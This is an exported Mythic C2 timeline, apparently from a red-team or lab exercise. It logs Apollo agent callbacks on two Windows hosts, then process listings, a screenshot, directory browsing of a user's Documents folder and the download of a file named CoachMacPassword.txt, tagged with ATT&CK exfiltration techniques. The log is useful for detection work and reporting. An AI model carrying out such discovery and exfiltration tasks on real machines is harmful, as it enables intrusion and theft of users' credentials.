Mythic - Timeline

Timestamp	Host	User	PID	Task
06/28/2021 16:57:32	DESKTOP-9H6TMKP	Tyler	7176	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 16:33:03 UTC
06/28/2021 16:57:32	DESKTOP-9H6TMKP	SYSTEM	5044	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 16:33:03 UTC
06/28/2021 16:57:33	DESKTOP-9H6TMKP	SYSTEM	4692	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 16:33:03 UTC
06/28/2021 16:58:32	DESKTOP-9H6TMKP	Tyler	5708	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 16:33:03 UTC
06/28/2021 16:58:36	DESKTOP-9H6TMKP	Tyler	8612	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 16:33:03 UTC
06/28/2021 16:58:36	DESKTOP-9H6TMKP	Tyler	3644	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 16:33:03 UTC
06/28/2021 19:14:55	DESKTOP-9H6TMKP	Tyler	7176	exit
06/28/2021 19:14:54	DESKTOP-9H6TMKP	SYSTEM	4692	exit
06/28/2021 19:14:55	DESKTOP-9H6TMKP	SYSTEM	5044	exit
06/28/2021 19:14:54	DESKTOP-9H6TMKP	Tyler	5708	exit
06/28/2021 19:14:54	DESKTOP-9H6TMKP	Tyler	8612	exit
06/28/2021 19:14:55	DESKTOP-9H6TMKP	Tyler	3644	exit
06/28/2021 19:28:22	DESKTOP-9H6TMKP	Tyler	7756	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 19:07:15 UTC
06/28/2021 19:28:38	DESKTOP-9H6TMKP	Tyler	7756	exit
06/28/2021 19:38:25	WORKSTATION5	SYSTEM	3176	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 19:07:15 UTC
06/28/2021 19:38:35	WORKSTATION5	SYSTEM	3240	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 19:07:15 UTC
06/28/2021 19:39:34	WORKSTATION5	SYSTEM	3240	ps_full
T1106: Native API				
06/28/2021 19:38:59	WORKSTATION5	SYSTEM	3028	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 19:07:15 UTC
06/28/2021 19:40:13	WORKSTATION5	SYSTEM	7900	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 19:07:15 UTC
06/28/2021 19:40:17	WORKSTATION5	SYSTEM	7656	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 19:07:15 UTC
06/28/2021 19:40:17	WORKSTATION5	SYSTEM	7584	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 19:07:15 UTC
06/28/2021 19:40:20	WORKSTATION5	AllCyber	1396	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 19:07:15 UTC
06/28/2021 19:40:37	WORKSTATION5	SYSTEM	5812	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 19:07:15 UTC
06/28/2021 19:41:12	WORKSTATION5	AllCyber	8280	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 19:07:15 UTC
06/28/2021 19:44:49	WORKSTATION5	SYSTEM	3240	ps_full
T1106: Native API				
06/28/2021 19:45:33	WORKSTATION5	AllCyber	8280	ps_full
T1106: Native API				
06/28/2021 19:49:37	WORKSTATION5	AllCyber	8280	screenshot {"Architecture":"x64","PID":492}
T1113: Screen Capture				
06/28/2021 19:46:06	WORKSTATION5	AllCyber	492	New Callback of type apollo with description: Created by mythic_admin at 06/28/2021 19:07:15 UTC
06/28/2021 19:46:49	WORKSTATION5	AllCyber	8280	ls C:\\Users\\AllCyber\\Documents
T1083: File and Directory Discovery T1106: Native API				
06/28/2021 19:47:20	WORKSTATION5	AllCyber	8280	ls C:\\Users\\AllCyber\\Documents\\AllCyber

Mythic - Timeline

T1083: File and Directory Discovery T1106: Native API				
06/28/2021 19:48:21	WORKSTATION5	AllCyber	8280	download {"File":"C:\\\\Users\\\\AllCyber\\\\Documents\\\\AllCyber\\\\CoachMacPassword.txt","Host":""}
T1020: Automated Exfiltration T1030: Data Transfer Size Limits T1041: Exfiltration Over C2 Channel				